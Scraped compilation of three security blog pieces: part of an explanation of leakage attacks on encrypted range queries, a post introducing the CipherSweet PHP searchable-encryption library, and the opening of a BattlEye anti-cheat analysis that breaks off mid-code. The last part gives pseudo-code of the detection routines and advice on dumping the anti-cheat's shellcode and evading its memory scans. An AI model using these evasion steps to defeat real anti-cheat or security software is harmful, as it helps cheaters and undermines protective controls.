encryption and oblivious RAM — but the results would be highly inefficient. So a common view in the field is researchers should do the very best we can, and then carefully explain to users what the risks are. For example, a real database system might provide the following guarantee: “Records are opaque. If the user queries for all records BETWEEN some hidden values X AND Y then all the database will learn is the row numbers of the records that match this range, and nothing else.” This is a pretty awesome guarantee, particularly if you can formalize it and prove that a scheme achieves it. And indeed, this is something that researchers have tried to do. The formalized description is typically achieved by defining something called a leakage function. It might not be possible to prove that a scheme is absolutely private, but we can prove that it only leaks as much as the leakage function allows. Now, I may be overdoing this slightly, but I want to be very clear about this next part: Proving your encrypted database protocol is secure with respect to a specific leakage function does not mean it is safe to use in practice. What it means is that you are punting that question to the application developer, who is presumed to know how this leakage will affect their dataset and their security needs. Your leakage function and proof simply tell the app developer what information your scheme is (provably) going to protect, and what it won’t. The obvious problem with this approach is that application developers probably don’t have any idea what’s safe to use either. Helping them to figure this out is one goal of this new GLMP paper and its related work. So what leaks from these schemes? GLMP don’t look at a specific encryption scheme. Rather, they ask a more general question: let’s imagine that we can only see that a legitimate user has made a range query — but not what the actual queried range values are. Further, let’s assume we can also see which records the database returns for that query, but not their actual values. How much does just this information tell us about the contents of the database? You can see that this is a very limited amount of leakage. Indeed, it is possibly the least amount of leakage you could imagine for any system that supports range queries, and is also efficient. So in one sense, you could say authors are asking a different and much more important question: are any of these encrypted databases actually secure? The answer is somewhat worrying. Can you give me a simple, illuminating example? Let’s say I’m an attacker who has compromised a database, and observes the following two range queries/results from a legitimate client: Query 1: SELECT * FROM Salaries BETWEEN and Result 1: (rows 1, 3, 5) Query 2: SELECT * FROM Salaries BETWEEN and Result 2: (rows 1, 43, 3, 5) Here I’m using the emoji to illustrate that an attacker can’t see the actual values submitted within the range queries — those are protected by the scheme — nor can she see the actual values of the result rows, since the fancy encryption scheme hides all this stuff. All the attacker sees is that a range query came in, and some specific rows were scooped up off disk after running the fancy search protocol. So what can the attacker learn from the above queries? Surprisingly: quite a bit. At very minimum, the attacker learns that Query 2 returned all of the same records as Query 1. Thus the range of the latter query clearly somewhat overlaps with the range of the former. There is an additional record (row 43) that is not within the range of Query 1. That tells us that row 43 must must be either the “next” greater or smaller record than each of rows (1, 3, 5). That’s useful information. Get enough useful information, it turns out that it starts to add up. In 2016, Kellaris, Kollios, Nissim and O’Neill showed that if you know the distribution of the query range endpoints — for example, if you assumed that they were uniformly random — then you can get more than just the order of records. You can reconstruct the exact value of every record in the database. This result is statistical in nature. If I know that the queries are uniformly random, then I can model how often a given value (say, Age=34 out of a range 1-120) should be responsive to a given random query results. By counting the actual occurrences of a specific row after many such queries, I can guess which rows correlate to specific record values. The more queries I see, the more certain I can be.The Kellaris et al. paper shows that this takes queries, where N is the number of possible values your data can take on (e.g., the ages of your employees, ranging between 1 and 100 would give N=100.) This is assuming an arbitrary dataset. The results get much better if the database is “dense”, meaning every possible value occurs once. In practice the Kellaris et al. results mean that database fields with small domains (like ages) could be quickly reconstructed after observing a reasonable number of queries from a legitimate user, albeit one who likes to query everything randomly. So that’s really bad! The main bright spot in this research —- at least up until recently — was that many types of data have much larger domains. If you’re dealing with salary data ranging from, say, $1 to $200,000, then N=200,000 and this dominant tends to make Kellaris et al. attacks impractical, simply because they’ll take too long. Similarly, data like employee last names (encoded as a form that can be sorted and range-queries) gives you even vaster domains like , say, and so perhaps we could pleasantly ignore these results and spend our time on more amusing engagements. I bet we can’t ignore these results, can we? Indeed, it seems that we can’t. The reason we can’t sit on our laurels and hope for an attacker to die of old age recovering large-domain data sets is due to something called approximate database reconstruction, or ADR. The setting here is the same: an attacker sits and watches an attacker make (uniformly random) range queries. The critical difference is that this attacker isn’t trying to get every database record back at its exact value: she’s willing to tolerate some degree of error, up to an additive . For example, if I’m trying to recover employee salaries, I don’t need them to be exact: getting them within 1% or 5% is probably good enough for my purposes. Similarly, reconstructing nearly all of the letters in your last name probably lets me guess the rest, especially if I know the distribution of common last names. Which finally brings us to this new GLMP paper, which puts ADR on steroids. What it shows is that the same setting, if one is willing to “sacrifice” a few of the highest and lowest values in the database, an attacker can reconstruct nearly the full database in a much smaller (asymptotic) number of queries, specifically: queries, where is the error parameter. The important thing to notice about these results is that the value N has dropped out of the equation. The only term that’s left is the error term . That means these results are “scale-free”, and (asymptotically, at least), they work just as well for small values of N as large ones, and large databases and small ones. This is really remarkable. Big-O notation doesn’t do anything for me: what does this even mean? Big-O notation is beloved by computer scientists, but potentially meaningless in practice. There could be huge constants in these terms that render these attacks completely impractical. Besides, weird equations involving epsilon characters are impossible for humans to understand. Sometimes the easiest way to understand a theoretical result is to plug some actual numbers in and see what happens. GLMP were kind enough to do this for us, by first generating several random databases — each containing 1,000 records, for different values of N. They then ran their recovery algorithm against a simulated batch of random range queries to see what the actual error rate looked like as the query count increased. Here are their results: Experimental results (Figure 2) from Grubbs et al. (GLMP, 2019). The Y-axis represents the measured error between the reconstructed database and the actual dataset (smaller is better.) The X-axis represents the number of queries. Each database contains 1,000 records, but there are four different values of N tested here. Notice that the biggest error occurs around the very largest and smallest values in the dataset, so the results are much better if one is willing to “sacrifice” these values. Even after just 100 queries, the error in the dataset has been hugely reduced, and after 500 queries the contents of the database — excluding the tails — can be recovered with only about a 1-2% error rate. Moreover, these experimental results illustrate the fact that recovery works at many scales: that is, they work nearly as well for very different values of N, ranging from 100 to 100,000. This means that the only variable you really need to think about as an attacker is: how close do I need my reconstruction to be? This is probably not very good news for any real data set. How do these techniques actually work? The answer is both very straightforward and deeply complex. The straightforward part is simple; the complex part requires an understanding of Vapnik-Chervonenkis learning theory (VC-theory) which is beyond the scope of this blog post, but is explained in the paper. At the very highest level the recovery approach is similar to what’s been done in the past: using response probabilities to obtain record values. This paper does it much more efficiently and approximately, using some fancy learning theory results while making a few assumptions. At the highest level: we are going to assume that the range queries are made on random endpoints ranging from 1 to N. This is a big assumption, and more on it later! Yet with just this knowledge in hand, we learn quite a bit. For example: we can compute the probability that a potential record value (say, the specific salary $34,234) is going to be sent back, provided we know the total value lies in the range 1-N (say, we know all salaries are between $1 and $200,000). If we draw the resulting probability curve in freehand, it might look something like the chart below. This isn’t actually to scale or (probably) even accurate, but it illustrates a key point: by the nature of (random) range queries, records near the center are going to have a higher overall chance of being responsive to any given query, since the “center” values are more frequently covered by random ranges, and records near the extreme high- and low values will be chosen less frequently. I drew this graph freehand to mimic a picture in Kenny’s slides. Not a real plot! The high-level goal of database reconstruction is to match the observed response rate for a given row (say, row 41) to the number of responses we’d expect see for different specific concrete values in the range. Clearly the accuracy of this approach is going to depend on the number of queries you, the attacker, can observe — more is better. And since the response rates are lower at the highest and lowest values, it will take more queries to guess outlying data values. You might also notice that there is one major pitfall here. Since the graph above is symmetric around its midpoint, the expected response rate will be the same for a record at .25*N and a record at .75*N — that is, a $50,000 salary will be responsive to random queries at precisely same rate as a $150,000 salary. So even if you get every database row pegged precisely to its response rate, your results might still be “flipped” horizontally around the midpoint. Usually this isn’t the end of the world, because databases aren’t normally full of unstructured random data — high salaries will be less common than low salaries in most organizations, for example, so you can probably figure out the ordering based on that assumption. But this last “bit” of information is technically not guaranteed to come back, minus some assumptions about the data set. Thus, the recovery algorithm breaks down into two steps: first, observe the response rate for each record as random range queries arrive. For each record that responds to such a query, try to solve for a concrete value that minimizes the difference between the expected response rate on that value, and the observed rate. The probability estimation can be made more efficient (eliminating a quadratic term) by assuming that there is at least one record in the database within the range .2N-.3N (or .7N-.8N, due to symmetry). Using this “anchor” record requires a mild assumption about the database contents. What remains is to show that the resulting attack is efficient. You can do this by simply implementing it — as illustrated by the charts above. Or you can prove that it’s efficient. The GLMP paper uses some very heavy statistical machinery to do the latter. Specifically, they make use of a result from Vapnik-Chervonenkis learning theory (VC-theory), which shows that the bound can be derived from something called the VC-dimension (which is a small number, in this case) and is unrelated to the actual value of N. That proof forms the bulk of the result, but the empirical results are also pretty good. Is there anything else in the paper? Yes. It gets worse. There’s so much in this paper that I cannot possibly include it all here without risking carpal tunnel and boredom, and all of it is bad news for the field of encrypted databases. The biggest additional result is one that shows that if all you want is an approximate ordering of the database rows, then you can do this efficiently using something called a PQ tree. Asymptotically, this requires queries, and experimentally the results are again even better than one would expect. What’s even more important about this ordering result is that it works independently of the query distribution. That is: we do not need to have random range queries in order for this to work: it works reasonably well regardless of how the client puts its queries together (up to a point). Even better, the authors show that this ordering, along with some knowledge of the underlying database distribution — for example, let’s say we know that it consists of U.S. citizen last names — can also be used to obtain approximate database reconstruction. Oy vey! And there’s still even more: The authors show how to obtain even more efficient database recovery in a setting where the query range values are known to the attacker, using PAC learning. This is a more generous setting than previous work, but it could be realistic in some cases. Finally, they extend this result to prefix and suffix queries, as well as range queries, and show that they can run their attacks on a dataset from the Fraternal Order of Police, obtaining record recovery in a few hundred queries. In short: this is all really bad for the field of encrypted databases. So what do we do about this? I don’t know. Ignore these results? Fake our own deaths and move into a submarine? In all seriousness: database encryption has been a controversial subject in our field. I wish I could say that there’s been an actual debate, but it’s more that different researchers have fallen into different camps, and nobody has really had the data to make their position in a compelling way. There have actually been some very personal arguments made about it. The schools of thought are as follows: The first holds that any kind of database encryption is better than storing records in plaintext and we should stop demanding things be perfect, when the alternative is a world of constant data breaches and sadness. To me this is a supportable position, given that the current attack model for plaintext databases is something like “copy the database files, or just run a local SELECT * query”, and the threat model for an encrypted database is “gain persistence on the server and run sophisticated statistical attacks.” Most attackers are pretty lazy, so even a weak system is probably better than nothing. The countervailing school of thought has two points: sometimes the good is much worse than the perfect, particularly if it gives application developers an outsized degree of confidence of the security that their encryption system is going to provide them. If even the best encryption protocol is only throwing a tiny roadblock in the attacker’s way, why risk this at all? Just let the database community come up with some kind of ROT13 encryption that everyone knows to be crap and stop throwing good research time into a problem that has no good solution. I don’t really know who is right in this debate. I’m just glad to see we’re getting closer to having it. Sursa: https://blog.cryptographyengineering.com/2019/02/11/attack-of-the-week-searchable-encryption-and-the-ever-expanding-leakage-function/

CipherSweet: Searchable Encryption Doesn't Have to be Bitter January 28, 2019 9:38 pm by Scott Arciszewski Open Source Back in 2017, we outlined the fundamentals of searchable encryption with PHP and SQL. Shortly after, we implemented this design in a library we call CipherSweet. Our initial design constraints were as follows: Only use the cryptography tools that are already widely available to developers. Only use encryption modes that are secure against chosen-ciphertext attacks. Treat usability as a security property. Remain as loosely schema-agnostic as possible, so that it's possible to use our design in NoSQL contexts or wildly different SQL database layouts. Be extensible, so that it may be integrated with many other products and services. Today, we'd like to talk about some of the challenges we've encountered, as well as some of the features that have landed in CipherSweet since its inception, and how we believe they are beneficial for the adoption of usable cryptography at scale. If you're not familiar with cryptography terms, you may find this page useful. Challenges in Searchable Encryption As of the time of this writing, it's difficult to declare a "state of the art" design for searchable encryption, for two reasons: Different threat models and operational requirements. Ongoing academic research into different designs and attacks. Cryptographers interested in encrypted search engines are likely invested in the ongoing research into fully homomorphic encryption (FHE), which allows the database server to perform calculations on the ciphertext and return an encrypted result to the application to decrypt. Some projects (e.g. the encrypted camera app Pixek and much of the other work of Seny Kamara, et al.) uses a technique called structured encryption to accomplish encrypted search with a different threat model and set of operational requirements. Namely, the queries and tags are encrypted client-side and the server just acts as a data mule with no additional power to perform computations. In either case, there are a few challenges that any proposed design must help its users overcome if they are to be used in the real world. Active Cryptanalytic Attacks The most significant real-world deterrents from adopting fully homomorphic encryption today are: Performance. Cryptography implementation availability. However, savvy companies will also list a third deterrent: adaptive chosen-ciphertext attacks. This can be a controversial point to raise, because its significance depends on your application's threat model. Some application developers really trust their database server to not lie to the application. More generally, all forms of active attacks from a privileged but not omnipotent user (e.g. root access to the database server, but not root access on the client application software) should be considered when design any kind of encrypted search feature. Small Input Domains Let's say you're designing software for a hospital computer network and need to store protected health information with very few possible inputs (e.g. HIV status). Even if you can encrypt this data securely (i.e. using AEAD and without message length oracles), any system that allows you to quickly search the database for a specific value (e.g. HIV Positive) introduces the risk of leaking information through side-channels. Information Leakage Search operations are ripe for oracles. In particular: Order-revealing encryption techniques leak your plaintext, similar to block ciphers in ECB mode. Any proposal for searchable encryption must be able to account for its information leakage and provide users a simple way of understanding and managing that risk. CipherSweet: A High-Level Overview This is a brief introduction to CipherSweet and a high-level overview. For more depth, please refer to the official documentation on Github. Where to Get CipherSweet CipherSweet is available on Github, and can be installed via Composer with the following command: composer require paragonie/ciphersweet Using CipherSweet First, you need a backend, which handles all of the cryptographic heavy lifting. We give you two to choose from, but there's also a BackendInterface if anyone ever needs to define their own: FIPSCrypto only uses the algorithms approved for use by FIPS 140-2. Note that using this backend doesn't automatically make your application FIPS 140-2 certified. ModernCrypto uses libsodium, and is generally recommended in most situations. Once you've chosen a backend, you're done thinking about cryptography algorithms. You don't need to specify a cipher mode, or a hash function, or anything else. Instead, the next step is to decide how you want to manage your keys. In addition to a few generic options, CipherSweet provides a KeyProviderInterface to allow developers to integrate with their own custom key management solutions. Finally, you just need to pass the backend and key provider to the engine. From this point on, the engine is the only object you need to work with directly. All together, it looks like this: <?php use ParagonIE\CipherSweet\Backend\ModernCrypto; use ParagonIE\CipherSweet\KeyProvider\StringProvider; use ParagonIE\CipherSweet\CipherSweet; // First, choose your backend: $backend = new ModernCrypto(); // Next, your key provider: $provider = new StringProvider( // The key provider stores the BackendInterface for internal use: $backend, // Example key, chosen randomly, hex-encoded: '4e1c44f87b4cdf21808762970b356891db180a9dd9850e7baf2a79ff3ab8a2fc' ); // From this point forward, you only need your Engine: $engine = new CipherSweet($provider); Once you have an working CipherSweet engine, you have a lot of flexibility in how you use it. In each of the following classes, you'll mostly use the following methods: prepareForStorage() on INSERT and UPDATE queries. getAllBlindIndexes() / getBlindIndex() for SELECT queries. decrypt() / decryptRow() / decryptManyRows() for decrypting after the SELECT query. The encrypt/decrypt APIs were named more verbosely than simply encrypt()/decrypt() to ensure that the intent is communicated whenever a developer works with it. EncryptedField: Searchable Encryption for a Single Column EncryptedField is a minimalistic interface for encrypting a single column of a database table. EncryptedField is designed for projects that only ever need to encrypt a single field, but still want to be able to search on the values of this field. <?php use ParagonIE\CipherSweet\BlindIndex; use ParagonIE\CipherSweet\CipherSweet; use ParagonIE\CipherSweet\EncryptedField; use ParagonIE\CipherSweet\Transformation\LastFourDigits; /** @var CipherSweet $engine */ $ssn = (new EncryptedField($engine, 'contacts', 'ssn')) ->addBlindIndex( new BlindIndex('contact_ssn_full', [], 8) ) ->addBlindIndex( new BlindIndex('contact_ssn_last_four', [new LastFourDigits], 4) ); EncryptedRow: Searchable Encryption for Many Columns in One Table EncryptedRow is a more powerful API that operates on rows of data at a time. EncryptedRow is designed for projects that encrypt multiple fields and/or wish to create compound blind indexes. It also has built-in handling for integers, floating point numbers, and (nullable) boolean values, (which furthermore doesn't leak the size of the stored values in the ciphertext length): <?php use ParagonIE\CipherSweet\CipherSweet; use ParagonIE\CipherSweet\EncryptedRow; /** @var CipherSweet $engine */ $row = (new EncryptedRow($engine, 'contacts')) ->addTextField('first_name') ->addTextField('last_name') ->addTextField('ssn') ->addBooleanField('hivstatus') ->addFloatField('latitude') ->addFloatField('longitude') ->addIntegerField('birth_year'); EncryptedRow expects an array that maps column names to values, like so: <?php $input = [ 'contactid' => 12345, 'first_name' => 'Jane', 'last_name' => 'Doe', 'ssn' => '123-45-6789', 'hivstatus' => false, 'latitude' => 52.52, 'longitude' => -33.106, 'birth_year' => 1988, 'extraneous' => true ]; EncryptedMultiRows: Searchable Encryption for Many Tables EncryptedMultiRows is a multi-row abstraction designed to make it easier to work on heavily-normalized databases and integrate CipherSweet with ORMs (e.g. Eloquent). Under the hood, it maintains an internal array of EncryptedRow objects (one for each table), so the features that EncryptedRow provides are also usable from EncryptedMultiRows. Anyone familiar with EncryptedRow should find the API for EncryptedMultiRows to be familiar. <?php use ParagonIE\CipherSweet\CipherSweet; use ParagonIE\CipherSweet\EncryptedMultiRows; /** @var CipherSweet $engine */ $rowSet = (new EncryptedMultiRows($engine)) ->addTextField('contacts', 'first_name') ->addTextField('contacts', 'last_name') ->addTextField('contacts', 'ssn') ->addBooleanField('contacts', 'hivstatus') ->addFloatField('contacts', 'latitude') ->addFloatField('contacts', 'longitude') ->addIntegerField('contacts', 'birth_year') ->addTextField('foobar', 'test'); EncryptedRows expects an array of table names mapped to an array that in turn maps columns to values, like so: <?php $input = [ 'contacts' => [ 'contactid' => 12345, 'first_name' => 'Jane', 'last_name' => 'Doe', 'ssn' => '123-45-6789', 'hivstatus' => null, // unknown 'latitude' => 52.52, 'longitude' => -33.106, 'birth_year' => 1988, 'extraneous' => true ], 'foobar' => [ 'foobarid' => 23, 'contactid' => 12345, 'test' => 'paragonie' ] ]; CipherSweet's Usable Cryptography Wins In addition to being designed in accordance to cryptographically secure PHP best practices, CipherSweet was also carefully constructed to be a user-friendly cryptographic API. Here are some of the design decisions and features that lend towards hitting its usable security goals. Blind Index Planning If you're not familiar with blind indexes, please read the blog post detailing the fundamentals of our design. Our blind indexing technique has a relatively straightforward information leakage profile, since the building block we use is a keyed hash function (e.g. HMAC-SHA384 or BLAKE2b) or key derivation function (e.g. PBKDF2-SHA384 or Argon2id), which is then truncated and used as a Bloom filter. If you make your index outputs too small, you'll incur a performance penalty from false positives that makes the blind index almost pointless. If you make your index outputs too large, you introduce the risk of creating unique fingerprints of the plaintext. The existence of reliable fingerprints introduce the risk of known- and chosen-plaintext attacks. However, calculating a safe output size for each blind index involves a bit of math: Generally, for a given population P, you want there to be between 2 and sqrt(P) hash prefix collisions (which we call "coincidences") in the blind index output. To save developers time doing pencil and paper math, we created Planner classes, which let you figure out how many bits you can safely make your blind index outputs. No pencil and paper needed. Compound Blind Indexes A compound blind index is simply a blind index that was created from multiple fields at once. This is extremely useful if you want to filter your encrypted search results based on a boolean field without leaking the boolean value directly in the index value. More broadly, compound blind indexes give you a flexible way to index common search criteria to make lookups fast. For example, using EncryptedRow: <?php use ParagonIE\CipherSweet\CipherSweet; use ParagonIE\CipherSweet\Transformation\AlphaCharactersOnly; use ParagonIE\CipherSweet\Transformation\FirstCharacter; use ParagonIE\CipherSweet\Transformation\Lowercase; use ParagonIE\CipherSweet\Transformation\LastFourDigits; use ParagonIE\CipherSweet\EncryptedRow; /** @var EncryptedRow $row */ $row->addCompoundIndex( $row->createCompoundIndex( 'contact_first_init_last_name', ['first_name', 'last_name'], 64, // 64 bits = 8 bytes true ) ->addTransform('first_name', new AlphaCharactersOnly()) ->addTransform('first_name', new Lowercase()) ->addTransform('first_name', new FirstCharacter()) ->addTransform('last_name', new AlphaCharactersOnly()) ->addTransform('last_name', new Lowercase()) ); This gives you a case-insensitive index of first initial + last name. Built-In Key Separation Information leakage is especially harmful if you're using the same key everywhere. To mitigate this, CipherSweet automatically derives distinct subkeys for each table and column, and then for each blind index, using a process called the key hierarchy. The short of it is: Your KeyProvider defines a master key, from which the actual key used for encrypting each field is derived. We use HKDF and carefully-chosen domain separation constants to ensure cross-protocol attacks are not possible. Key Rotation If you need ever to switch CipherSweet backends or rotate your keys, we created a special-purpose suite of PHP classes to facilitate less-painful data migrations and reduce the amount of boilerplate code needed. <?php use ParagonIE\CipherSweet\CipherSweet; use ParagonIE\CipherSweet\KeyRotation\FieldRotator; use ParagonIE\CipherSweet\EncryptedField; // 1. Set up /** * @var string $ciphertext * @var CipherSweet $old * @var CipherSweet $new */ $oldField = new EncryptedField($old, 'contacts', 'ssn'); $newField = new EncryptedField($new, 'contacts', 'ssn'); $rotator = new FieldRotator($oldField, $newField); // 2. Using the if ($rotator->needsReEncrypt($ciphertext)) { list($ciphertext, $indices) = $rotator->prepareForUpdate($ciphertext); // Then update this row in the database. } You can learn more about the various various migration features here. Upcoming Developments in CipherSweet One of the items on our roadmap for PHP security in 2019 is to bring CipherSweet to your favorite framework, with as little friction as possible. To this end, we will be releasing ORM integrations throughout Q1 2019, starting with Eloquent and Doctrine. Additionally, we plan on shipping KeyProvider implementations to integrate with cloud KMS solutions and common HSM solutions (e.g. YubiHSM). These will be standalone packages that extend the core functionality of CipherSweet to allow businesses and government offices to meet their stringent security compliance requirements without polluting the main library with code to tolerate oddly-specific requirements. When both of these developments have been completed, adopting searchable encryption in your PHP software should be as painless as possible. Finally, we want to develop CipherSweet beyond the PHP language. We want to provide compatible implementations for Java, C#, and Node.js developers in our initial run, although we're happy to assist the open source community in developing and auditing compatible libraries in other languages. Honorable mention: Ryan Littlefield has already started on an early Python implementation of CipherSweet. Support the Development of CipherSweet If you'd like to support our development efforts, please consider purchasing an enterprise support contract from our company. Permalink Discuss on Hacker News License: Creative Commons Attribution-ShareAlike 4.0 International View source (Markdown) Application Security Cryptography Encryption PHP Security SQL Web Development About the Author Scott Arciszewski Chief Development Officer With 15 years of software development, application security, and system administration experience, Scott aspires to help others attain a happier work-life balance by solving difficult problems and automating trivial tasks. He is mostly known in the community for his open source software security research and strong progressive positions on providing tools and frameworks that are secure by default. @CiPHPerCoder Sursa: https://paragonie.com/blog/2019/01/ciphersweet-searchable-encryption-doesn-t-have-be-bitter

BattlEye anticheat: analysis and mitigation Feb 10, 2019 BattlEye BattlEye is a prevalent german third-party anti-cheat primarily developed by the 32-year-old founder Bastian Heiko Suter. It provides game publishers easy-to-use anti-cheat solutions, using generic protection mechanisms and game-specific detections to provide optimal security, or at least tries to. As their website states, they are always staying on top of state-of-the-art technologies and utilizing innovative methods of protection and detection, evidently due to their nationality: QUALITY MADE IN GERMANY. BattlEye consists of multiple organs that work together to catch and prevent cheaters in the respective games that pay them. The four main entities are: BEService Windows system service that communicates with the BattlEye server BEServer, which provides BEDaisy and BEClient server-client-communication capabilities. BEDaisy Windows kernel driver that registers preventive callbacks and minifilters to prevent cheaters from modifying the game illicitly. BEClient Windows dynamic link library that is responsible for most of the detection vectors, including the ones in this article. It is mapped into the game process after initialization. BEServer Proprietary backend-server that is responsible for collecting information and taking concrete actions against cheaters. Shellcode Recently, a dump of BattlEye’s shellcode surfaced on the internet, and we decided to make a write-up of what exactly the current iteration of BattlEye is actively looking for. We have not worked on BattlEye for the past 6 months, so the last piece of shellcode we have dumped is most likely obsolete. Miscellaneous parts of code were recognized completely from memory in this recent dump, suggesting that BattlEye only appends to the shellcode and does not remove previous detection procedures. How? BattlEye presumably streams its shellcode from their server to the windows service, known as BEService. This service communicates with the battleye module located inside of the game process, known as BEClient. The communication is done over the named pipe \\.\namedpipe\Battleye and up until last year was unencrypted. Now, all communication is encrypted through a xor cipher with very small keys, making known plaintext attacks trivial. When the shellcode has been streamed to the client, it is allocated and executed outside of any known modules, making distinction easy. To dump the shellcode, you can either hook prevalent windows-api functions like CreateFile, ReadFile, et cetera, and dump any caller’s respective memory section (query memory information on the return address) that is outside of any known module, or periodically scan the game’s virtual memory space for executable memory outside of any known module, and dump it to disk. Make sure to keep track of which sections you have dumped so you do not end up with thousands of identical dumps. Disclaimer The following pseudo-code snippets are heavily beautified. You will not be able to dump the BattlEye shellcode and instantly recognize some of these parts; the shellcode does not contain any function calls, and many algorithms are unrolled. That doesn’t really matter, as when you’re finished reading about this atrocious anticheat, you will have a field day bypassing it ? Memory enumeration The most common detection mechanism anti-cheat solutions utilize is memory enumeration and memory scanning, to detect known cheat images. It’s easy to implement and quite effective when done correctly, as long as you don’t forget basic assembly and blacklist a common function prologue, as we’ve seen in the past. Battleye enumerates the entire address space of the game process (current process in the following context) and runs various checks whenever a page is executable and outside of the respective shellcode memory space. This is their implementation: // MEMORY ENUMERATION for (current_address = 0; // QUERY MEMORY_BASIC_INFORMATION NtQueryVirtualMemory(GetCurrentProcess(), current_address, 0, &memory_information, 0x30, &return_length) >= 0; current_address = memory_information.base_address + memory_information.region_size) { const auto outside_of_shellcode = memory_information.base_address > shellcode_entry || memory_information.base_address + memory_information.region_size <= shellcode_entry; const auto executable_memory = memory_information.state == MEM_COMMIT && (memory_information.protect == PAGE_EXECUTE || memory_information.protect == PAGE_EXECUTE_READ || memory_information.protect == PAGE_EXECUTE_READWRITE); const auto unknown_whitelist = memory_information.protect != PAGE_EXECUTE_READWRITE || memory_information.region_size != 100000000; if (!executable_memory || !outside_of_shellcode || !unknown_whitelist) continue; // RUN CHECKS memory::anomaly_check(memory_information); memory::pattern_check(current_address, memory_information); memory::module_specific_check_microsoft(memory_information); memory::guard_check(current_address, memory_information); memory::module_specific_check_unknown(memory_information); } Memory anomaly BattlEye will flag any anomalies in the memory address space, primarily executable memory that does not correspond to a loaded image: void memory::anomaly_check(MEMORY_BASIC_INFORMATION memory_information) { // REPORT ANY EXECUTABLE PAGE OUTSIDE OF KNOWN MODULES if (memory_information.type == MEM_PRIVATE || memory_information.type == MEM_MAPPED) { if ((memory_information.base_address & 0xFF0000000000) != 0x7F0000000000 && // UPPER EQUALS 0x7F (memory_information.base_address & 0xFFF000000000) != 0x7F000000000 && // UPPER EQUALS 0x7F0 (memory_information.base_address & 0xFFFFF0000000) != 0x70000000 && // UPPER EQUALS 0x70000 memory_information.base_address != 0x3E0000)) { memory_report.unknown = 0; memory_report.report_id = 0x2F; memory_report.base_address = memory_information.base_address; memory_report.region_size = memory_information.region_size; memory_report.memory_info = memory_information.type | memory_information.protect | memory_information.state; battleye::report(&memory_report, sizeof(memory_report), 0); } } } Pattern scans As we previously mentioned, BattlEye also scans memory of the local process for various hardcoded patterns, as the following implementation shows. What you might realize when reading this pseudo-code is that you can bypass these checks by overwriting any loaded module’s code section, as they will not run any pattern scans on known images. To prevent being hit by integrity checks, load any packed, whitelisted module and overwrite code sections marked as RWX, as you can’t run integrity checks without emulating the packer. The current iteration of BattlEye’s shellcode has these memory patterns hardcoded: [05 18] ojects\PUBGChinese [05 17] BattleGroundsPrivate_CheatESP [05 17] [%.0fm] %s [05 3E] \00\00\00\00Neck\00\00\00\00Chest\00\00\00\00\00\00\00Mouse 1\00 [05 3F] PlayerESPColor [05 40] Aimbot: %d\00\2D\3E\20\41 [05 36] HackMachine [05 4A] VisualHacks.net [05 50] \3E\23\2F\65\3E\31\31\4E\4E\56\3D\42\76\28\2A\3A\2E\46\3F\75\75\23\28\67\52\55\2E\6F\30\58\47\48 [05 4F] DLLInjection-master\\x64\\Release\\ [05 52] NameESP [05 48] Skullhack [05 55] .rdata$zzzdbg [05 39] AimBot [05 39] \EB\49\41\80\3C\12\3F\75\05\C6\02\3F\EB\38\8D\41\D0\0F\BE\C9\3C\09\77\05\83\E9\30\EB\06\83\E1\DF [05 5F] \55\E9 [05 5F] \57\E9 [05 5F] \60\E9 [05 68] D3D11Present initialised [05 6E] [ %.0fM ] [05 74] [hp:%d]%dm [05 36] \48\83\64\24\38\00\48\8D\4C\24\58\48\8B\54\24\50\4C\8B\C8\48\89\4C\24\30\4C\8B\C7\48\8D\4C\24\60 [05 36] \74\1F\BA\80\00\00\00\FF\15\60\7E\00\00\85\C0\75\10\F2\0F\10\87\80\01\00\00\8B\87\88\01\00\00\EB [05 36] \40\F2\AA\15\6F\08\D2\89\4E\9A\B4\48\95\35\D3\4F\9CPOSITION\00\00\00\00COL [05 7A] \FF\E0\90 [05 79] %s\00\00%d\00\00POSITION\00\00\00\00COLOR\00\00\00\00\00\00\00 [05 36] \8E\85\76\5D\CD\DA\45\2E\75\BA\12\B4\C7\B9\48\72\11\6D\B9\48\A1\DA\A6\B9\48\A7\67\6B\B9\48\90\2C [05 8A] \n<assembly xmlsn='urn:schemas-mi These memory patterns also contain a two-byte header, respectively an unknown static value 05 and an unique identifier. What you won’t see here is that BattlEye also dynamically streams patterns from BEServer and sends them to BEClient, but we won’t be covering those in this article. These are iteratively scanned for by the following algorithm: void memory::pattern_check(void* current_address, MEMORY_BASIC_INFORMATION memory_information) { const auto is_user32 = memory_information.allocation_base == GetModuleHandleA("user32.dll"); // ONLY SCAN PRIVATE MEMORY AND USER32 CODE SECTION if (memory_information.type != MEM_PRIVATE && !is_user32) continue; for (address = current_address; address != memory_information.base_address + memory_information.region_size; address += PAGE_SIZE) // PAGE_SIZE { // READ ENTIRE PAGE FROM LOCAL PROCESS INTO BUFFER if (NtReadVirtualMemory(GetCurrentProcess(), address, buffer, PAGE_SIZE, 0) < 0) continue; for (pattern_index = 0; pattern_index < 0x1C/*PATTERN COUNT*/; ++pattern_index) { if (pattern[pattern_index].header == 0x57A && !is_user32) // ONLY DO \FF\E0\90 SEARCHES WHEN IN USER32 continue; for (offset = 0; pattern[pattern_index].length + offset <= PAGE_SIZE; ++offset) { const auto pattern_matches = memory::pattern_match(&address[offset], pattern[pattern_index]); // BASIC PATTERN MATCH if (pattern_matches) { // PATTERN FOUND IN MEMORY pattern_report.unknown = 0; pattern_report.report_id = 0x35; pattern_report.type = pattern[index].header; pattern_report.data = &address[offset]; pattern_report.base_address = memory_information.base_address; pattern_report.region_size = memory_information.region_size; pattern_report.memory_info = memory_information.type | memory_information.protect | memory_information.state; battleye::report(&pattern_report, sizeof(pattern_report), 0); } } } } } Module specific (Microsoft) The module specific checks will report you for having specific modules loaded into the game process: void memory::module_specific_check_microsoft(MEMORY_BASIC_INFORMATION memory_information) { auto executable = memory_information.protect == PAGE_EXECUTE || memory_information.protect == PAGE_EXECUTE_READ || memory_information.protect == PAGE_EXECUTE_READWRITE; auto allocated = memory_information.state == MEM_COMMIT; if (!allocated || !executable) continue; auto mmres_handle = GetModuleHandleA("mmres.dll"); auto mshtml_handle = GetModuleHandleA("mshtml.dll"); if (mmres_handle && mmres_handle == memory_information.allocation_base) { battleye_module_anomaly_report module_anomaly_report; module_anomaly_report.unknown = 0; module_anomaly_report.report_id = 0x5B; module_anomaly_report.identifier = 0x3480; module_anomaly_report.region_size = memory_information.region_size; battleye::report(&module_anomaly_report, sizeof(module_anomaly_report), 0); } else if (mshtml_handle && mshtml_handle == memory_information.allocation_base) { battleye_module_anomaly_report module_anomaly_report; module_anomaly_report.unknown = 0; module_anomaly_report.report_id = 0x5B; module_anomaly_report.identifier = 0xB480; module_anomaly_report.region_size 